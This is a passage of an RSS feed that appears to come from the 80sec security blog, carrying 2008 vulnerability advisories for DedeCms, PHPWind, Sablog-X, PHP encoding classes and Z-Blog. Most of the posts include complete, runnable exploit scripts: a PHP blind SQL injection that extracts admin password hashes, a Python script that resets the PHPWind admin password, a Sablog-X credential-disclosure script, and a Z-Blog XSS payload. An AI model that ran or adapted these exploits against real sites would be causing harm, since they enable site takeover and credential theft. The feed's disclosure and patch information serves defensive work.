function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){<br />
	global $cfg_phpurl,$cfg_ml;<br />
	$jobs = array();<br />
	$start = ($pageno-1) * $pagesize;</p>
<p>  $dsql->SetQuery("Select * From #@__jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");<br />
	$dsql->Execute();//orderby 带入数据库查询<br />
……<br />
----------------------------------------------------------<br />
</code></p>
<p>漏洞利用：80sec提供攻击测试代码如下（如果发现代码无法测试，请访问80sec官方的txt文档）：</p>
<p><code><br />
&#60;?<br />
print_r('<br />
--------------------------------------------------------------------------------<br />
DedeCms >=5 "orderby" blind SQL injection/admin credentials disclosure exploit<br />
BY Flyh4t<br />
www.wolvez.org<br />
Thx for all the members of W.S.T and my friend Oldjun<br />
--------------------------------------------------------------------------------<br />
');</p>
<p>if ($argc&#60;3) {<br />
print_r('<br />
--------------------------------------------------------------------------------<br />
Usage: php '.$argv[0].' host path<br />
host: target server (ip/hostname)<br />
path: path to DEDEcms<br />
Example:<br />
php '.$argv[0].' localhost /<br />
--------------------------------------------------------------------------------<br />
');<br />
die;<br />
}</p>
<p>function sendpacketii($packet)<br />
{<br />
global  $host, $html;<br />
$ock=fsockopen(gethostbyname($host),'80');<br />
if (!$ock) {<br />
echo 'No response from '.$host; die;<br />
}<br />
fputs($ock,$packet);<br />
$html='';<br />
while (!feof($ock)) {<br />
$html.=fgets($ock);<br />
}<br />
fclose($ock);<br />
}</p>
<p>$host=$argv[1];<br />
$path=$argv[2];<br />
$prefix="dede_";<br />
$cookie="DedeUserID=39255; DedeUserIDckMd5=31283748c5a4b36c; DedeLoginTime=1218471600; DedeLoginTimeckMd5=a7d9577b3b4820fa";</p>
<p>if (($path[0]&#60;>'/') or ($path[strlen($path)-1]&#60;>'/'))<br />
{echo 'Error... check the path!'; die;}</p>
<p>/*get   $prefix*/<br />
$packet ="GET ".$path."/member/guestbook_admin.php?dopost=getlist&#038;pageno=1&#038;orderby=11' HTTP/1.0\r\n";<br />
$packet.="Host: ".$host."\r\n";<br />
$packet.="Cookie: ".$cookie."\r\n";<br />
$packet.="Connection: Close\r\n\r\n";<br />
sendpacketii($packet);<br />
if (eregi("in your SQL syntax",$html))<br />
{<br />
$temp=explode("From ",$html);<br />
$temp2=explode("member",$temp[1]);<br />
if($temp2[0])<br />
$prefix=$temp2[0];<br />
echo "[+]prefix -> ".$prefix."\n";<br />
}</p>
<p>$chars[0]=0;//null<br />
$chars=array_merge($chars,range(48,57)); //numbers<br />
$chars=array_merge($chars,range(97,102));//a-f letters<br />
echo "[~]exploting now,plz waiting\r\n";</p>
<p>/*get   password*/<br />
$j=1;$password="";<br />
while (!strstr($password,chr(0)))<br />
{<br />
for ($i=0; $i&#60;=255; $i++)<br />
{<br />
if (in_array($i,$chars))<br />
{<br />
$sql="orderby=11+and+If(ASCII(SUBSTRING((SELECT+pwd+FROM+".$prefix."admin+where+id=1),".$j.",1))=".$i.",1,(SELECT+pwd+FROM+".$prefix."member))";<br />
$packet ="GET ".$path."member/guestbook_admin.php?dopost=getlist&#038;pageno=1&#038;".$sql." HTTP/1.0\r\n";<br />
$packet.="Host: ".$host."\r\n";<br />
$packet.="Cookie: ".$cookie."\r\n";<br />
$packet.="Connection: Close\r\n\r\n";<br />
sendpacketii($packet);<br />
if (!eregi("Subquery returns more than 1 row",$html)) {$password.=chr($i);echo"[+]pwd:".$password."\r\n";break;}<br />
}<br />
if ($i==255) {die("Exploit failed...");}<br />
}<br />
$j++;<br />
}</p>
<p>/*get   userid*/<br />
$j=1;$admin="";<br />
while (!strstr($admin,chr(0)))<br />
{<br />
for ($i=0; $i&#60;=255; $i++)<br />
{<br />
$sql="orderby=11+and+If(ASCII(SUBSTRING((SELECT+userid+FROM+".$prefix."admin+where+id=1),".$j.",1))=".$i.",1,(SELECT+pwd+FROM+".$prefix."member))";<br />
$packet ="GET ".$path."member/guestbook_admin.php?dopost=getlist&#038;pageno=1&#038;".$sql." HTTP/1.0\r\n";<br />
$packet.="Host: ".$host."\r\n";<br />
$packet.="Cookie: ".$cookie."\r\n";<br />
$packet.="Connection: Close\r\n\r\n";<br />
sendpacketii($packet);<br />
if (!eregi("Subquery returns more than 1 row",$html)) {$admin.=chr($i);echo"[+]userid:".$admin."\r\n";break;}<br />
if ($i==255) {die("Exploit failed...");}<br />
}<br />
$j++;<br />
}</p>
<p>print_r('<br />
--------------------------------------------------------------------------------<br />
[+]userid -> '.$admin.'<br />
[+]pwd(md5 24位) -> '.$password.'<br />
--------------------------------------------------------------------------------<br />
');<br />
function is_hash($hash)<br />
{<br />
if (ereg("^[a-f0-9]{24}",trim($hash))) {return true;}<br />
else {return false;}<br />
}<br />
if (is_hash($password)) {echo "Exploit succeeded...";}<br />
else {echo "Exploit failed...";}<br />
?><br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/dedecms-sql-injection.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>phpwind任意修改管理员密码漏洞</title>
		<link>http://www.80sec.com/phpwind-admin-pass-change-vul.html</link>
		<comments>http://www.80sec.com/phpwind-admin-pass-change-vul.html#comments</comments>
		<pubDate>Tue, 05 Aug 2008 14:25:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[web应用程序安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=31</guid>
		<description><![CDATA[漏洞说明：PHPWind 论坛系统 是一套采用 php+mysql 数据库 方式运行并可生成 html 页面的全新且完善的强大系统。因具有非凡的访问速度和卓越的负载能力而深受国内外朋友的喜爱。但是80sec在其中发现了一个安全漏洞，成功利用此漏洞可以直接修改管理员的密码进入后台，取得管理员权限。
漏洞厂商：http://www.phpwind.net
漏洞来源：http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt

漏洞解析：在phpwind的wap模块中的字符转码程序存在问题，细节在http://www.80sec.com/php-coder-class-security-alert.html，但是80sec发现，在phpwind的wap模块中，该编码转换类存在更为严重的问题，甚至没有任何的条件，即使安装了iconv等编码模块一样受到该漏洞的影响，几乎没有条件限制。在phpwind中，wap是默认关闭的，但是我们发现在phpwindget_one(&#8220;SELECT m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username=&#8217;$username&#8217;&#8221;);
	if($men){
		$e_login=explode(&#8220;&#124;&#8221;,$men['onlineip']);
		if($e_login[0]!=$onlineip.&#8217; *&#8217; &#124;&#124; ($timestamp-$e_login[1])>600 &#124;&#124; $e_login[2]>1 ){
			$men_uid=$men['uid'];
			$men_pwd=$men['password'];
			$check_pwd=$password;
			if($men['yz'] > 2){
				wap_msg(&#8216;c&#8217;);
			}
			if(strlen($men_pwd)==16){
				$check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/
			}
			if($men_pwd==$check_pwd){
				if(strlen($men_pwd)==16){
					$db->update(&#8220;UPDATE pw_members SET password=&#8217;$password&#8217; WHERE uid=&#8217;$men_uid&#8217;&#8221;);
				}
				$L_groupid=(int)$men['groupid'];
				Cookie(&#8220;ck_info&#8221;,$db_ckpath.&#8221;\t&#8221;.$db_ckdomain);
			}else{
				global $L_T;
				$L_T=$e_login[2];
				$L_T ? $L_T&#8211;:$L_T=5;
				$F_login=&#8221;$onlineip *&#124;$timestamp&#124;$L_T&#8221;;
				$db->update(&#8220;UPDATE pw_memberdata SET onlineip=&#8217;$F_login&#8217; WHERE uid=&#8217;$men_uid&#8217;&#8221;);
				wap_msg(&#8216;login_pwd_error&#8217;);
			}
		}else{
			global $L_T;
			$L_T=600-($timestamp-$e_login[1]);
			wap_msg(&#8216;login_forbid&#8217;);
		}
	} else {
		global $errorname;
		$errorname=$username;
		wap_msg(&#8216;user_not_exists&#8217;);
	}
	Cookie(&#8220;winduser&#8221;,StrCode($men_uid.&#8221;\t&#8221;.PwdCode($password)));
	Cookie(&#8216;lastvisit&#8217;,&#8221;,0);
	wap_msg(&#8216;wap_login&#8217;,'index.php&#8217;);
}
	
	甚至不用注册账户，只要精心构造username即可利用此漏洞。
漏洞利用：80sec提供exploit如下：
	
	import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = [...]]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：PHPWind 论坛系统 是一套采用 php+mysql 数据库 方式运行并可生成 html 页面的全新且完善的强大系统。因具有非凡的访问速度和卓越的负载能力而深受国内外朋友的喜爱。但是80sec在其中发现了一个安全漏洞，成功利用此漏洞可以直接修改管理员的密码进入后台，取得管理员权限。</p>
<p>漏洞厂商：http://www.phpwind.net</p>
<p>漏洞来源：<a href=http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt>http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt</a><br />
<span id="more-31"></span><br />
漏洞解析：在phpwind的wap模块中的字符转码程序存在问题，细节在<a href=http://www.80sec.com/php-coder-class-security-alert.html>http://www.80sec.com/php-coder-class-security-alert.html</a>，但是80sec发现，在phpwind的wap模块中，该编码转换类存在更为严重的问题，甚至没有任何的条件，即使安装了iconv等编码模块一样受到该漏洞的影响，几乎没有条件限制。在phpwind中，wap是默认关闭的，但是我们发现在phpwind<=5.3版本中，变量存在全局没有初始化的问题，导致远程用户可以开启该模块，从而导致一个注射安全漏洞产生。<br />
	在phpwind中的注射漏洞中，phpwind过分相信从数据库中取出的变量，从而可能可以更改一些数据处理流程，导致任意修改其他用户的密码，包括管理员，问题代码在wap_mod.php中如下：</p>
<p>	<code><br />
function wap_login($username,$password){<br />
	global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$db_bbsurl;</p>
<p>	$men=$db->get_one(&#8220;SELECT m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username=&#8217;$username&#8217;&#8221;);<br />
	if($men){<br />
		$e_login=explode(&#8220;|&#8221;,$men['onlineip']);<br />
		if($e_login[0]!=$onlineip.&#8217; *&#8217; || ($timestamp-$e_login[1])>600 || $e_login[2]>1 ){<br />
			$men_uid=$men['uid'];<br />
			$men_pwd=$men['password'];<br />
			$check_pwd=$password;<br />
			if($men['yz'] > 2){<br />
				wap_msg(&#8216;c&#8217;);<br />
			}<br />
			if(strlen($men_pwd)==16){<br />
				$check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/<br />
			}<br />
			if($men_pwd==$check_pwd){<br />
				if(strlen($men_pwd)==16){<br />
					$db->update(&#8220;UPDATE pw_members SET password=&#8217;$password&#8217; WHERE uid=&#8217;$men_uid&#8217;&#8221;);<br />
				}<br />
				$L_groupid=(int)$men['groupid'];<br />
				Cookie(&#8220;ck_info&#8221;,$db_ckpath.&#8221;\t&#8221;.$db_ckdomain);<br />
			}else{<br />
				global $L_T;<br />
				$L_T=$e_login[2];<br />
				$L_T ? $L_T&#8211;:$L_T=5;<br />
				$F_login=&#8221;$onlineip *|$timestamp|$L_T&#8221;;<br />
				$db->update(&#8220;UPDATE pw_memberdata SET onlineip=&#8217;$F_login&#8217; WHERE uid=&#8217;$men_uid&#8217;&#8221;);<br />
				wap_msg(&#8216;login_pwd_error&#8217;);<br />
			}<br />
		}else{<br />
			global $L_T;<br />
			$L_T=600-($timestamp-$e_login[1]);<br />
			wap_msg(&#8216;login_forbid&#8217;);<br />
		}<br />
	} else {<br />
		global $errorname;<br />
		$errorname=$username;<br />
		wap_msg(&#8216;user_not_exists&#8217;);<br />
	}<br />
	Cookie(&#8220;winduser&#8221;,StrCode($men_uid.&#8221;\t&#8221;.PwdCode($password)));<br />
	Cookie(&#8216;lastvisit&#8217;,&#8221;,0);<br />
	wap_msg(&#8216;wap_login&#8217;,'index.php&#8217;);<br />
}<br />
	</code></p>
<p>	甚至不用注册账户，只要精心构造username即可利用此漏洞。</p>
<p>漏洞利用：80sec提供exploit如下：</p>
<p>	<code><br />
	import urllib2,httplib,sys<br />
httplib.HTTPConnection.debuglevel = 1<br />
cookies = urllib2.HTTPCookieProcessor()<br />
opener = urllib2.build_opener(cookies)<br />
argvs=sys.argv</p>
<p>data = "db_wapifopen=1&#038;prog=login&#038;pwuser=shit%c1'union select "+argvs[2]+",mid(md5(123456),9,16),3,1,5/*&#038;pwpwd=123456"<br />
pwurl = "%s" % argvs[1]<br />
pwurl = pwurl + "wap/index.php"</p>
<p>print "\r\n\r\nPhpwind Admin Pass Change Exploit"<br />
print "Phpwind <=5.3 "<br />
print "By 80sec "<br />
print "python.exe "+argvs[0]+" http://www.80sec.com/pwforum/  1\r\n"</p>
<p>print "\r\n[+]TargetForum: "+argvs[1]<br />
print "[+]TargetId: "+argvs[2]</p>
<p>request = urllib2.Request(<br />
	url     = pwurl ,<br />
        headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},<br />
        data    = data)<br />
f=opener.open(request)<br />
headers=f.headers.dict<br />
try :<br />
	cookie=headers["set-cookie"]<br />
	if cookie.index('winduser') :<br />
		print "[+]Exploit Success"<br />
	else :	print "[-]Exploit Failed"</p>
<p>except:<br />
	print "[-]Exploit Failed"</p>
<p>	</code></p>
<p>漏洞修复：请及时打上官方最新补丁  http://www.phpwind.net/read-htm-tid-643202.html</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/phpwind-admin-pass-change-vul.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>安全天使sablog注射漏洞</title>
		<link>http://www.80sec.com/sablog-sql-injectio.html</link>
		<comments>http://www.80sec.com/sablog-sql-injectio.html#comments</comments>
		<pubDate>Tue, 05 Aug 2008 11:27:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[web应用程序安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=30</guid>
		<description><![CDATA[漏洞说明：Sablog-X是一个采用PHP和MySQL构建的博客系统.作为Sablog的后继产品,Sablog-X在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在原有的基础上,更上一层楼.凭借Sablog-X作者7年多的安全技术经验,4年的PHP开发经验,强于创新,追求完美的设计理念,使得Sablog-X已获得业内越来越多专家和用户的认可.但是80sec在其中的代码里发现一个安全漏洞，导致远程用户通过SQL注射获得数据库权限，甚至获得管理员权限。
漏洞厂商：http://www.sablog.net

漏洞来源：http://www.80sec.com/release/sablog-sql-injection.txt
漏洞解析：在sablog的trackback.php中的转码函数

function iconv2utf($chs) {
        global $encode;
        if ($encode != 'utf-8') {
                if (function_exists('mb_convert_encoding')) {
              [...]]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：Sablog-X是一个采用PHP和MySQL构建的博客系统.作为Sablog的后继产品,Sablog-X在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在原有的基础上,更上一层楼.凭借Sablog-X作者7年多的安全技术经验,4年的PHP开发经验,强于创新,追求完美的设计理念,使得Sablog-X已获得业内越来越多专家和用户的认可.但是80sec在其中的代码里发现一个安全漏洞，导致远程用户通过SQL注射获得数据库权限，甚至获得管理员权限。</p>
<p>漏洞厂商：http://www.sablog.net<br />
<span id="more-30"></span></p>
<p>漏洞来源：<a href=http://www.80sec.com/release/sablog-sql-injection.txt>http://www.80sec.com/release/sablog-sql-injection.txt</a></p>
<p>漏洞解析：在sablog的trackback.php中的转码函数</p>
<p><code><br />
function iconv2utf($chs) {<br />
        global $encode;<br />
        if ($encode != 'utf-8') {<br />
                if (function_exists('mb_convert_encoding')) {<br />
                        $chs = mb_convert_encoding($chs, 'UTF-8', $encode);<br />
                } elseif (function_exists('iconv')) {<br />
                        $chs = iconv($encode, 'UTF-8', $chs);<br />
                }<br />
        }<br />
        return $chs;<br />
}<br />
</code></p>
<p>	存在问题，当$encode为GBK字符集的时候，用户提交%bf&#8217;将会被转化为一个正常的utf-8字符和一个单引号，如果数据未加处理进入数据库将导致SQL注射。</p>
<p>漏洞利用：80sec提供漏洞测试程序如下：</p>
<p><code><br />
#!/usr/bin/php<br />
&#60;?php</p>
<p>print_r('<br />
+---------------------------------------------------------------------------+<br />
Sablog-X &#60;= 1.6 SQL injection / admin credentials disclosure exploit<br />
by puret_t<br />
mail: puretot at gmail dot com<br />
team: http://www.wolvez.org<br />
dork: "Powered by SaBlog-X"<br />
+---------------------------------------------------------------------------+<br />
');<br />
/**<br />
 * works regardless of php.ini settings<br />
 */<br />
if ($argc &#60; 3) {<br />
	print_r('<br />
+---------------------------------------------------------------------------+<br />
Usage: php '.$argv[0].' host path code<br />
host:      target server (ip/hostname)<br />
path:      path to sablog-x<br />
code:      the last blog trackback gbk code<br />
Example:<br />
php '.$argv[0].' localhost /sablog-x/ MQlnYmsJMTIxNzkyMzE0OAkw<br />
+---------------------------------------------------------------------------+<br />
');<br />
	exit;<br />
}</p>
<p>error_reporting(7);<br />
ini_set('max_execution_time', 0);</p>
<p>$host = $argv[1];<br />
$path = $argv[2];<br />
$code = $argv[3];</p>
<p>$arr = explode("\t", base64_decode($code));<br />
if (count($arr) != 4)<br />
	exit("Exploit Failed!\n");</p>
<p>$url = 'http://'.$host.$path.'?action=show&#038;id='.$arr[0];</p>
<p>send();<br />
preg_match('#&#60;a\shref="1"\starget="_blank">([\S]+):([a-z0-9]{32})&#60;/a&#60;#', file_get_contents($url), $hash);</p>
<p>if ($hash)<br />
	exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");<br />
else<br />
	exit("Exploit Failed!\n");</p>
<p>function send()<br />
{<br />
	global $host, $path, $code;</p>
<p>	$cmd = 'url=http://'.$host.$path.'&#038;title=ryat%bf%27,'.time().',1,1,(SELECT CONCAT(username,0x3a,password) FROM sablog_users WHERE userid=1),'.time().',1,1)#&#038;excerpt=ryat&#038;blog_name=ryat';</p>
<p>	$message = "POST ".$path."trackback.php?code=$code  HTTP/1.1\r\n";<br />
	$message .= "Accept: */*\r\n";<br />
	$message .= "Accept-Language: zh-cn\r\n";<br />
	$message .= "Content-Type: application/x-www-form-urlencoded\r\n";<br />
	$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";<br />
	$message .= "Host: $host\r\n";<br />
	$message .= "Content-Length: ".strlen($cmd)."\r\n";<br />
	$message .= "Connection: Close\r\n\r\n";<br />
	$message .= $cmd;</p>
<p>	$fp = fsockopen($host, 80);<br />
	fputs($fp, $message);</p>
<p>	$resp = '';</p>
<p>	while ($fp &#038;&#038; !feof($fp))<br />
		$resp .= fread($fp, 1024);</p>
<p>	return $resp;<br />
}</p>
<p>?></p>
<p></code></p>
<p>漏洞状态：请等待官方补丁。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/sablog-sql-injectio.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>php第三方编码转换类安全警告</title>
		<link>http://www.80sec.com/php-coder-class-security-alert.html</link>
		<comments>http://www.80sec.com/php-coder-class-security-alert.html#comments</comments>
		<pubDate>Tue, 05 Aug 2008 06:15:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[web应用程序安全]]></category>
		<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=29</guid>
		<description><![CDATA[漏洞说明：在外面广泛使用的众多php编码转换类中，已经被证明在某些情况下会存在安全问题，构造畸形的数据将导致转换类的结果不可靠，从而可能使数据绕过系统的安全认证，一些开源程序如Discuz，Phpwind已经被批漏存在问题，Discuz和Phpwind均已发布补丁。
漏洞厂商：众多第三方编码转换类

漏洞解析：
	  编码转换类在系统存在iconv等函数的时候会选择iconv函数，但是如果系统不存在iconv或者不支持多字节编码转换的情况下，编码转换类会自己实现对编码的转换。在这里由于系统iconv在进行utf8编码转换时会严格遵守约定，对于不合法的数据将进行抛弃处理，而某些第三方编码类则会进行强行的转换，如一个非法的utf8字节如0xc15c27将被转换为0&#215;808027或其他类似处理，这将导致其绕过程序的addslashes等安全保护，譬如恶意用户提交0xc127，经过php安全处理后将变成0xc15c27，然后经过转码后将成为0&#215;808027，导致安全防护失败，导致安全漏洞。
漏洞证明及修复：
Phpwind官方补丁：http://www.phpwind.net/read-htm-tid-643202.html
Discuz！官方补丁：http://www.discuz.net/thread-1008182-1-1.html
80sec提醒使用编码转换类的厂商和程序及时检查自己的安全设置，可以通过对进行转码后的数据再次安全处理来修复这个问题，如果有iconv的支持则尽量使用iconv模块而不要自己实现编码。
]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：在外面广泛使用的众多php编码转换类中，已经被证明在某些情况下会存在安全问题，构造畸形的数据将导致转换类的结果不可靠，从而可能使数据绕过系统的安全认证，一些开源程序如Discuz，Phpwind已经被批漏存在问题，Discuz和Phpwind均已发布补丁。</p>
<p>漏洞厂商：众多第三方编码转换类<br />
<span id="more-29"></span><br />
漏洞解析：</p>
<p>	  编码转换类在系统存在iconv等函数的时候会选择iconv函数，但是如果系统不存在iconv或者不支持多字节编码转换的情况下，编码转换类会自己实现对编码的转换。在这里由于系统iconv在进行utf8编码转换时会严格遵守约定，对于不合法的数据将进行抛弃处理，而某些第三方编码类则会进行强行的转换，如一个非法的utf8字节如0xc15c27将被转换为0&#215;808027或其他类似处理，这将导致其绕过程序的addslashes等安全保护，譬如恶意用户提交0xc127，经过php安全处理后将变成0xc15c27，然后经过转码后将成为0&#215;808027，导致安全防护失败，导致安全漏洞。</p>
<p>漏洞证明及修复：</p>
<p>Phpwind官方补丁：http://www.phpwind.net/read-htm-tid-643202.html<br />
Discuz！官方补丁：http://www.discuz.net/thread-1008182-1-1.html</p>
<p>80sec提醒使用编码转换类的厂商和程序及时检查自己的安全设置，可以通过对进行转码后的数据再次安全处理来修复这个问题，如果有iconv的支持则尽量使用iconv模块而不要自己实现编码。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/php-coder-class-security-alert.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Z- blog又一严重跨站脚本攻击漏洞</title>
		<link>http://www.80sec.com/zblog-xss.html</link>
		<comments>http://www.80sec.com/zblog-xss.html#comments</comments>
		<pubDate>Mon, 21 Jul 2008 10:16:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[web应用程序安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=27</guid>
		<description><![CDATA[漏洞说明：Z-Blog是一款基于Asp平台的Blog博客(网志)程序，支持Wap，支持Firefox，Oprea等浏览器，在国内使用非常广泛，官方主页在http://www.rainbowsoft.org/。Z-blog代码严谨，前台功能简洁，后台功能强大，这为它的产品安全带来很大的优势，但是在上次的xss漏洞被公布后，80sec在产品中又发现一个严重的跨站脚本攻击漏洞，加上产品设计上的一些问题可能带来严重的后果。
漏洞厂商：http://www.rainbowsoft.org/
漏洞解析：在FUNCTION/c_function.asp中，程序处理UBB标签的时候存在漏洞，导致任何用户可以在目标页面内执行任意js代码，利用该代码恶意用户可以获取目标站点的所有权限。漏洞代码如下：


Function UBBCode(ByVal strContent,strType)
	Dim objRegExp
	Set objRegExp=new RegExp
	objRegExp.IgnoreCase =True
	objRegExp.Global=True
	If ZC_UBB_LINK_ENABLE And Instr(strType,"[link]")>0 Then
		objRegExp.Pattern="(\[URL\])(([a-zA-Z0-9]+?):\/\/\S+?)(\[\/URL\])"
		strContent= objRegExp.Replace(strContent,"$2")
		objRegExp.Pattern="(\[URL\])(.+?)(\[\/URL\])"
		strContent= objRegExp.Replace(strContent,"$2")
		objRegExp.Pattern="(\[URL=)(([a-zA-Z0-9]+?):\/\/\S+?)(\])(.+?)(\[\/URL\])"
		strContent= objRegExp.Replace(strContent,"$5")
		objRegExp.Pattern="(\[URL=)(\S+?)(\])(\S+?)(\[\/URL\])"
		strContent= objRegExp.Replace(strContent,"$4")
		objRegExp.Pattern="(\[EMAIL\])(\S+\@\S+?)(\[\/EMAIL\])"
		strContent= objRegExp.Replace(strContent,"$2")
		objRegExp.Pattern="(\[EMAIL=)(\S+\@\S+?)(\])(.+?)(\[\/EMAIL\])"
		strContent= objRegExp.Replace(strContent,"$4")
	End If

可以看到其中的正则表达式过滤并不严格，这种循环匹配也很容易出现逻辑问题，精心构造代码即可触发跨站脚本漏洞,可以发表评论如下

[URL][URL]http://=&#39;&#39;style=&#39;c:expression(alert())&#39;[/URL][/URL]

上面代码将循环执行alert()，当然，你也可以引入自己的恶意js执行：）
漏洞状态：该漏洞非常危险，完全不需要任何交互行为即可完成攻击，已经通知官方，请等候官方反应.
]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：Z-Blog是一款基于Asp平台的Blog博客(网志)程序，支持Wap，支持Firefox，Oprea等浏览器，在国内使用非常广泛，官方主页在http://www.rainbowsoft.org/。Z-blog代码严谨，前台功能简洁，后台功能强大，这为它的产品安全带来很大的优势，但是在上次的xss漏洞被公布后，80sec在产品中又发现一个严重的跨站脚本攻击漏洞，加上产品设计上的一些问题可能带来严重的后果。</p>
<p>漏洞厂商：http://www.rainbowsoft.org/</p>
<p>漏洞解析：在FUNCTION/c_function.asp中，程序处理UBB标签的时候存在漏洞，导致任何用户可以在目标页面内执行任意js代码，利用该代码恶意用户可以获取目标站点的所有权限。漏洞代码如下：<br />
<span id="more-27"></span><br />
<code><br />
Function UBBCode(ByVal strContent,strType)</p>
<p>	Dim objRegExp<br />
	Set objRegExp=new RegExp<br />
	objRegExp.IgnoreCase =True<br />
	objRegExp.Global=True</p>
<p>	If ZC_UBB_LINK_ENABLE And Instr(strType,"[link]")>0 Then</p>
<p>		objRegExp.Pattern="(\[URL\])(([a-zA-Z0-9]+?):\/\/\S+?)(\[\/URL\])"<br />
		strContent= objRegExp.Replace(strContent,"<a href=""$2"" target=""_blank"">$2</a>")</p>
<p>		objRegExp.Pattern="(\[URL\])(.+?)(\[\/URL\])"<br />
		strContent= objRegExp.Replace(strContent,"<a href=""http://$2"" target=""_blank"">$2</a>")</p>
<p>		objRegExp.Pattern="(\[URL=)(([a-zA-Z0-9]+?):\/\/\S+?)(\])(.+?)(\[\/URL\])"<br />
		strContent= objRegExp.Replace(strContent,"<a href=""$2"" target=""_blank"">$5</a>")</p>
<p>		objRegExp.Pattern="(\[URL=)(\S+?)(\])(\S+?)(\[\/URL\])"<br />
		strContent= objRegExp.Replace(strContent,"<a href=""http://$2"" target=""_blank"">$4</a>")</p>
<p>		objRegExp.Pattern="(\[EMAIL\])(\S+\@\S+?)(\[\/EMAIL\])"<br />
		strContent= objRegExp.Replace(strContent,"<a href=""mailto:$2"" >$2</a>")</p>
<p>		objRegExp.Pattern="(\[EMAIL=)(\S+\@\S+?)(\])(.+?)(\[\/EMAIL\])"<br />
		strContent= objRegExp.Replace(strContent,"<a href=""mailto:$2"" target=""_blank"">$4</a>")</p>
<p>	End If<br />
</code></p>
<p>可以看到其中的正则表达式过滤并不严格，这种循环匹配也很容易出现逻辑问题，精心构造代码即可触发跨站脚本漏洞,可以发表评论如下<br />
<code></p>
<p>[URL][URL]http://=&#39;&#39;style=&#39;c:expression(alert())&#39;[/URL][/URL]</p>
<p></code></p>
<p>上面代码将循环执行alert()，当然，你也可以引入自己的恶意js执行：）</p>
<p>漏洞状态：该漏洞非常危险，完全不需要任何交互行为即可完成攻击，已经通知官方，请等候官方反应.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/zblog-xss.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
